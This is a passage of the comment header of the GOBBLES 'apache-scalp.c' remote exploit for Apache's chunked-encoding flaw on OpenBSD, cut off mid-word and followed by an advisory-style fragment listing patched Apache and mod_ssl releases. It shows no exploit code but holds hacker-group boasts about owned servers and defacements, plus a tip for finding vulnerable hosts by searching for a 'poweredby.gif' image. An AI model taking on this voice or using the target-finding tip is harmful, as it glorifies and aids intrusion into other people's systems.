* money off this, by exploiting the ignorance of some yahoo who will be
* easily ./impressed with your ability to use gcc. No, we won\'t provide
* you with precompiled binaries. Well, at least for *nix. ;-)
*
* * IMPORTANT ANNOUCEMENT * IMPORTANT ANNOUNCEMENT * IMPORTANT ANNOUCEMENT *
* --- GOBBLES Security is no longer accepting new members. We\'re now a
* closed group. Of course, we\'ll still share our warez with the
* community at large, but for the time we have enough members.
*
* Greets to our two newest members:
* -[RaFa], Ambassador to the Underworld
* -pr0ix, Director of Slander and Misinformation
*
* [#!GOBBLES@SECRET_SERVER QUOTES]
*
* --- i wont be surprised that when I return tomorrow morning the
* internet will have come to a grinding halt with people crying for
* medics
* --- the internet will be over in a couple of months
* --- nobody in #openbsd can get it to work... #netbsd people seem to be
* managing fine...
* --- they dont grasp the concept of the base address... i seriously
* thought this was the most kiddie friendly exploit ever released
* --- even bb could get it working. look at vuln-dev
* --- we have to try to bump that threatcon up a notch
* --- what the alldas url now? how many defacements appeared yet?
* --- we should do a poem entitled \"default openbsd\" and mention how
* it just sits there... inanimate... soon theo will be stripping the
* network code so not even gobkltz.c works... as theo\'s paranoia
* increases and he becomes out of sync with the real world, strange
* things start to happen with openbsd... CHANGELOG: \"now also safe
* from the voices. 6 years without the screaming in the default
* install\"
* --- i can port it to windows.. i can make a gui using mfc.. with
* a picture of the skull & crossbones
* --- Has anyone ever been caught by an IDS? I certainly never have.
* This one runs on many machines. It ports to HP-UX.
* --- strange how mr spitzner didn\'t know honeynet.org was owned
* --- an official openbsd mirror is still vulnerable? dear god they\'re
* out of it!
* --- I think we\'re finally famous.
* --- we\'re on the front page of securityfocus, and we didn\'t even have
* to deface them! too bad the article wasn\'t titled, \"Hi BlueBoar!\"
* --- we need GOBBLES group photos at defcon holding up signs that say
* \"The Blue Boar Must Die\"
* --- project.honeynet.org is _still_ vulnerable a day after the exploit
* was made public? hahaha!
* --- exploit scanner? www.google.com -- search for poweredby.gif + your
* *bsd of choice!
* --- i stopped taking my antipsychotics last night. say no 2 drugz!
* --- <GOBBLES> antiNSA -- HACKING IS NOT FOR YOU!!!!!!
* --- we wonder how much they\'ll like GeneralCuster.exe
* --- wonder if ISS will use our code in their \"security assesment\"
* audits, or if they\'ll figure out how to exploit this independantly.
* either way they\'re bound to make a lot of money off us, bastards.
* --- forget w00giving, this year itz thanksgiving.
* --- the traffic to netcraft.com/whats will be through the roof for the
* next few months!
* --- every company with a hub has been sold multiple realsensor units
* --- full disclosure is a necessary evil, so quit your goddamned whining.
* --- people just assume they know what we mean by \"testbed\"
* --- i can\'t believe that people still disbelieve in the existance of
* hackers... i mean, what is all this bullshit about people being
* shocked that hackers write programs to break into systems so that
* they can use those programs to break into systems? are their minds
* that small?
* --- we\'re far from done. . .
*
*/
/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* \". . . and Doug Sniff said it was a hole in Epic.\"
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who\'s left alone
* ---
*
* Remote OpenBSD/Apache exploit for the \"chunking\" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to acco
SOLUTION
New releases are available check :
http://httpd.apache.org/
http://www.modssl.org/source/mod_ssl-2.8.9-1.3.26.tar.gz
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